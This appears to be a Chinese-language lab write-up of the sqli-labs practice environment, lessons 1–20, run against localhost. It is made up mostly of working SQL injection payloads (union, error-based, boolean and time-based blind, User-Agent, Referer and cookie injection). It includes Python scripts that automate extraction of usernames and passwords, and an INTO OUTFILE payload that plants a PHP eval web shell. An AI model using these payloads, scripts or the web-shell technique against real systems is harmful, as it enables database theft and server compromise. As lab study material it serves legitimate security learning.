Sqli-labs
Page-1(Basic Challenges)
Less-1
Order by判断显示位
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' order by 4 --+
可以看出显示位是3
然后构造payload爆库,爆表
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'; --+
#爆表
爆字段
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'; --+
结束
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
Less-2
先判断出来是数字型,用order by 判断显示位,好像#被过滤了,用–+代替
爆库爆表爆字段,结束
Less-3
先判断是字符型还是数字型,试图用发现用order by查看显示位,发现怎么输都不行,再仔细查看报错,发现是闭合方式的问题,这里使用')
闭合的,然后就可以判断显示位
爆库爆表爆字段,结束
Less-4
根据报错得知是闭合方式的问题,可知是”)
的闭合然后查询显示位
爆表爆库爆字段,结束
Less-5
判断是单引号的闭合形式,得到显示位是3
测,上当了,都是You are in…是个盲注
试试报错注入
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
得到库名,然后依次爆表爆字段得出username和password
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) --+
最后得到部分数据,但是并不能显示完全,好像是回显有长度限制
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),3) --+
利用python脚本来获得数据
# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import typing
def ascii_str(): # 生成库名表名字符所在的字符列表字典
str_list = []
for i in range(33, 127): # 所有可显示字符
str_list.append(chr(i))
# print('可显示字符:%s'%str_list)
return str_list # 返回字符列表
def db_length(url, str):
print("[-]开始测试数据库名长度.......")
num = 1
while True:
db_payload = url + "' and (length(database())=%d)--+" % num
r = requests.get(db_payload)
if str in r.text:
db_length = num
print("[+]数据库长度:%d\n" % db_length)
db_name(db_length) # 进行下一步,测试库名
break
else:
num += 1
def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name = ''
str_list = ascii_str()
for i in range(1, db_length + 1):
for j in str_list:
db_payload = url + "' and (ord(mid(database(),%d,1))='%s')--+" % (i, ord(j))
r = requests.get(db_payload)
if str in r.text:
db_name += j
break
print("[+]数据库名:%s\n" % db_name)
tb_piece(db_name) # 进行下一步,测试security数据库有几张表
return db_name
def tb_piece(db_name):
print("开始测试%s数据库有几张表........" % db_name)
for i in range(100): # 猜解库中有多少张表,合理范围即可
tb_payload = url + "' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+" % (i, db_name)
r = requests.get(tb_payload)
if str in r.text:
tb_piece = i
break
print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
tb_name(db_name, tb_piece) # 进行下一步,猜解表名
def tb_name(db_name, tb_piece):
print("[-]开始猜解表名.......")
table_list = []
for i in range(tb_piece):
str_list = ascii_str()
tb_length = 0
tb_name = ''
for j in range(1, 20): # 表名长度,合理范围即可
tb_payload = url + "' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+" % (i, j)
r = requests.get(tb_payload)
if str in r.text:
tb_length = j
print("第%d张表名长度:%s" % (i + 1, tb_length))
for k in range(1, tb_length + 1): # 根据表名长度进行截取对比
for l in str_list:
tb_payload = url + "' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+" % (i, k, ord(l))
r = requests.get(tb_payload)
if str in r.text:
tb_name += l
print("[+]:%s" % tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
column_num(table_list, db_name) # 进行下一步,猜解每张表的字段数
def column_num(table_list, db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list = []
for i in table_list:
for j in range(30): # 每张表的字段数量,合理范围即可
column_payload = url + "' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+" % (j, i)
r = requests.get(column_payload)
if str in r.text:
column_num = j
column_num_list.append(column_num) # 把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段" % (i, column_num))
break
print("\n[+]表对应的字段数:%s\n" % column_num_list)
column_name(table_list, column_num_list, db_name) # 进行下一步,猜解每张表的字段名
def column_name(table_list, column_num_list, db_name):
global data_num
data_num = 0
print("[-]开始猜解每张表的字段名.......")
column_length = []
str_list = ascii_str()
column_name_list = []
for t in range(len(table_list)): # t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:" % table_list[t])
for i in range(column_num_list[t]): # i表示每张表的字段数量
column_name = ''
for j in range(1, 21): # j表示每个字段的长度
column_name_length = url + "' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+" % (j - 1, table_list[t], i)
r = requests.get(column_name_length)
if str in r.text:
column_length.append(j)
break
for k in str_list: # k表示我们猜解的字符字典
column_payload = url + "' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+" % (table_list[t], i, j, ord(k))
r = requests.get(column_payload)
if str in r.text:
column_name += k
print('[+]:%s' % column_name)
column_name_list.append(column_name)
# print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list, column_name_list, db_name) # 进行最后一步,输出指定字段的数据
def dump_data(table_list, column_name_list, db_name):
global data_num
data_num = 0
from typing import List
print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[3], column_name_list[12:16]))
str_list = ascii_str()
for i in column_name_list[12:16]: # id,username,password字段
for j in range(101): # j表示有多少条数据,合理范围即可
data_num_payload = url + "' and (select count(%s) from %s.%s)=%d--+" % (i, db_name, table_list[3], j)
r = requests.get(data_num_payload)
if str in r.text:
data_num = j
break
print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[3], i, data_num))
for k in range(data_num):
data_len = 0
dump_data = ''
for l in range(1, 21): # l表示每条数据的长度,合理范围即可
data_len_payload = url + "' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+" % (i, db_name, table_list[3], k, l)
r = requests.get(data_len_payload)
if str not in r.text:
data_len = l - 1
for x in range(1, data_len + 1): # x表示每条数据的实际范围,作为mid截取的范围
for y in str_list:
data_payload = url + "' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+" % (i, db_name, table_list[3], k, x, ord(y))
r = requests.get(data_payload)
if str in r.text:
dump_data += y
break
break
print('[+]%s' % dump_data) # 输出每条数据
if __name__ == '__main__':
url = "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" # 目标url
str = "You are in" # 布尔型盲注的true&false的判断因素
db_length(url, str) # 程序入口
Less-6
老样子,判断闭合方式,是双引号
得到库名,然后按之前的做法就可以得出答案
但是可以解决一下如何不利用脚本来得到完整结果的问题
方法一:
可以用limit字句来一个个查看
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1) --+
方法二:
利用mid函数一段一段进行截取
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),30,31),0x7e),1) --+
Less-7
这一关和前几关都不太一样,我们无法通过报错来判断闭合方式
看了眼源码
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
可以看到这里的闭合方式是'))
,已经知道闭合方式了,在利用第五关的脚本在进行布尔盲注就可以了
跑的之后注意修改一下每个payload的闭合方式就可以了,例如:
方法二:
提示我们可以使用outfile
,也就是利用文件来解决这一关
load_file()读取文件
前提:1、用户权限足够高,尽量具有root权限。2、secure_file_priv不为NULL
可以构造payload来创建文件:
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php phpinfo() ?>',3 into outfile 'E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php' --+
然后转到文件夹下面,可以看到已经写入文件1,php
,内容是phpinfo()
访问也确实可以访问到
那么可以拓展一下思路,写入shell
文件,payload:
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php @eval($_REQUEST["1"]) ?>',3 into outfile 'E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\Leaf.php' --+
然后用蚁剑可以连接上
Less-8
单引号闭合,无报错回显的布尔盲注(所以less-5应该是报错注入),直接用脚本跑一下就好了
Less-9
这一关不管输入什么界面都是一样的,所以只能通过时间盲注
来解决,直接上脚本
import requests
import time
s = requests.session()
url = 'http://127.0.0.1/sqli-labs-master/Less-9/?id='
flag = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# 查询数据库:payload = f'1%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))'
payload = f'1\'%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3)) --+'
# 查询数据表:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,sleep(3)) --+'
# 查询表字段:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),{i},1))>{mid},1,sleep(3)) --+'
# 查询字段中信息:payload = f'1\'%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3)) --+'
# 查询数据:payload = f'1\'%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3)) --+'
stime = time.time()
url1 = url + payload
r = s.get(url=url1)
# r.encoding = "utf-8"
# print(payload)
if time.time() - stime < 2:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
Less-10
这一关和上一关一样,都是时间盲注,但是这次将单引号闭合变成了双引号闭合,改一下就可以了
Less-11
这次注入是POST方式提交注入,利用burp抓个包,先尝试用order by
尝试判断显示位
可以看到当字符数是3的时候会报错,但是2的时候没有问题,所以显示位是两个
接下来爆库,payload:
uname=1&passwd=1' union select database(),2 --+ #&submit=Submit
爆表:
uname=1&passwd=1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ #&submit=Submit
爆字段名:
uname=1&passwd=1' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ #&submit=Submit
爆数据:
uname=1&passwd=1' union select group_concat(username),group_concat(password) from users --+ #&submit=Submit
得到username
和password
Less-12
先判断闭合方式,我们可以通过看报错信息来判断闭合
这里输入password
的值为1'")) and 1=1
,然后判断一下它的报错
这里显示报错的是对于) and1=1") limit 0,1
解析错误,所以可以得知是")
闭合,接下来判断显示位,显示位还是2
uname=1&passwd=1") union select 1,2# #&submit=Submit
爆库
uname=1&passwd=1") union select database(),2 --+ #&submit=Submit
爆表
uname=1&passwd=1") union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ #&submit=Submit
爆字段
uname=1&passwd=1") union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ #&submit=Submit
得到数据
uname=1&passwd=1") union select group_concat(username),group_concat(password) from users --+ #&submit=Submit
Less-13
通过报错来判断闭合方式
可以判断出闭合方式是')
,然后判断显示位,显示位还是2
但是这次没有回显
先试试报错注入:
uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+&submit=Submit
这里报错注入是有回显的,所以我们可以直接得到库名
然后爆表
uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))) --+&submit=Submit
爆字段
uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))) --+&submit=Submit
得到数据,由于报错注入得到的数据无法显示那么长,所以用mid函数
一段一段的截取,payload:
uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(username) from users),1,31),0x7e))) --+&submit=Submit //得到用户名
uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(password) from users),1,31),0x7e))) --+&submit=Submit //得到密码
Less-14
先判断闭合方式,是"
闭合,剩下的和之前一样,也是没有回显,直接报错注入
爆库
uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+&submit=Submit
爆表
uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))) --+&submit=Submit
爆字段
uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))) --+&submit=Submit
得到数据
uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(username) from users),1,31),0x7e))) --+&submit=Submit //得到用户名
uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(password) from users),1,31),0x7e))) --+&submit=Submit //得到密码
Less-15
这一关是盲注,无论怎么输入都没有回显
可以根据图片来进行布尔盲注,也可以进行时间盲注,直接上脚本
import requests
import time
value = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result = ""
def get_length(): # 获取数据的长度
for n in range(1, 100):
payload = "admin' and if((length(({0} ))={1}),sleep(4),1) #".format(data_payload, n)
data = {"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
html = requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time # 求出请求前后的时间差来判断是否延时了
if use_time > 3:
print("...... data's length is :" + str(n))
return n
def get_data(length): # 获取数据
global result
for n in range(1, length):
for v in value:
payload = "admin' and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload, n,
ord(v))
data = {"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time
# 为啥把sleep时间设这么长呢?原因是我这里时常会出现网络波动,有时候请求时间就有2秒多,为避免出现乱码,所以设长一点可以保证信息的准确性
if use_time > 4:
result += v
print("......" + result)
url = "http://127.0.0.1/sqli-labs-master/Less-15/"
#data_payload = "select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"
data_payload="select group_concat(column_name,0x7e)from information_schema.columns where table_schema=database() and table_name='users'"
#data_payload="select group_concat(username)from users"
#data_payload="select group_concat(password)from users"
length = get_length() + 1 # 注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10
get_data(length)
print(".....data is :" + result)
但是脚本的输出有点问题,有点难区分每个部分,回来改一下
Less-16
跟上一关方式差不多,没有回显,也是盲注,先判断闭合方式
这一关是")
闭合,把上面的admin'
改成admin")
就可以了
import requests
import time
value = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result = ""
def get_length(): # 获取数据的长度
for n in range(1, 100):
payload = "admin\") and if((length(({0} ))={1}),sleep(4),1) #".format(data_payload, n)
data = {"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
html = requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time # 求出请求前后的时间差来判断是否延时了
if use_time > 3:
print("...... data's length is :" + str(n))
return n
def get_data(length): # 获取数据
global result
for n in range(1, length):
for v in value:
payload = "admin\") and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload, n,
ord(v))
data = {"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time
# 为啥把sleep时间设这么长呢?原因是我这里时常会出现网络波动,有时候请求时间就有2秒多,为避免出现乱码,所以设长一点可以保证信息的准确性
if use_time > 4:
result += v
print("......" + result)
url = "http://127.0.0.1/sqli-labs-master/Less-16/"
data_payload = "select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"
#data_payload="select group_concat(column_name,0x7e)from information_schema.columns where table_schema=database() and table_name='users'"
#data_payload="select group_concat(username)from users"
#data_payload="select group_concat(password)from users"
length = get_length() + 1 # 注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10
get_data(length)
print(".....data is :" + result)
Less-17
这关提示:password reset
看了一下源码,是基于update语句的报错注入
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
}
?>
通过代码审计可以看出,这一关不能通过uname
来注入,因为存在check_input
函数,他会检查username的输入的值
所以我们只能通过password
来进行注入,通过print_r(mysql_error())
可以知道会回显我们的报错信息,所以进行报错注入
先判断闭合方式,是"
闭合,剩下的和之前一样,也是没有回显,直接报错注入,闭合方式是'
’
因为这一关是需要通过已存在用户名才能进行update
,所以要uname
不可以随便乱输
爆库
uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
爆表
uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+
爆字段
uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) --+
得到数据
uname=DUMB&passwd=1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),30,31),0x7e),1) --+ //得到用户名
uname=DUMB&passwd=1' and updatexml(1,concat(0x7e,mid((select group_concat(password) from users),30,31),0x7e),1) --+ //得到密码
但是不知道为什么我这里获取数据的时候一直会报错,就这样吧,应该是我数据库版本和权限设置的问题
Less-18
进入界面,可以看到有个回显是address is :.....
看一下源代码,这里直接放关键了
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
可以看出这里username
和password
都会有过滤,但是uagent
变量是从User-Agent
上直接获取的值,这里并没有获取过滤
所以可以通过User-Agent
HTTP头进行注入,通过代码可知这里并不会直接输出查询结果,但是会输出报错,所以要进行报错注入
而且我们在进行UA头注入
的前提是要登陆成功,不然会提示登录失败,并且不会回显报错结果
构造的时候要先单引号闭合,还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。
爆库,payload:
1',1,updatexml(1,concat(0x7e,(database()),0x7e),1))#
爆表:
1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#
爆字段
1',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1))#
得到数据
因为这里查数据会有长度限制,为32位,因此采用另外的函数进行分段截取显示
1',1,updatexml(1,substring(concat(0x7e,(select group_concat(username) from security.users),0x7e),1,32),1))# //得到用户名
1',1,updatexml(1,substring(concat(0x7e,(select group_concat(password) from security.users),0x7e),1,32),1))# //得到密码
Less-19
看样子还是HTTP头部注入
先登录一下看看注入点在哪
可以看出是Referer
头
这里参数和闭合方式直接被我盲猜出来了,想具体了解一下可以去看看源代码
爆库
1',updatexml(1,concat(0x7e,(database()),0x7e),1))#
爆表:
1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#
爆字段
1',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1))#
得到数据:
1',updatexml(1,substring(concat(0x7e,(select group_concat(username) from security.users),0x7e),1,32),1))# //得到用户名
1',updatexml(1,substring(concat(0x7e,(select group_concat(password) from security.users),0x7e),1,32),1))# //得到密码
Less-20
先用admin登陆一下,查看登录后界面
猜测是cookie注入,先抓个包,然后在cookie中随便输点
直接爆库了,好,好好好
这题应该有报错和联合注入都可以
先联合注入,爆库
uname=-1' union select 1,2,database()#
爆表
uname=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
爆字段
uname=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
得到数据
uname=-1' union select 1,group_concat(username),group_concat(password) from users#
报错注入,爆库
uname=-1'and updatexml (1,concat(0x7e,(select database()),0x7e),1)#
爆表
uname=-1'and updatexml (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
爆字段
uname=-1'and updatexml (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name='users'),0x7e),1)#
得到数据
uname=-1'and updatexml (1,mid(concat(0x7e,(select group_concat(username) from users),0x7e),1,30),1)# //得到用户名
uname=-1'and updatexml (1,mid(concat(0x7e,(select group_concat(password) from users),0x7e),1,30),1)# //得到密码
可以看出Page1都是比较基础的sql注入,并没有涉及到关键字过滤等等,过段时间再开始page2吧,先学学别的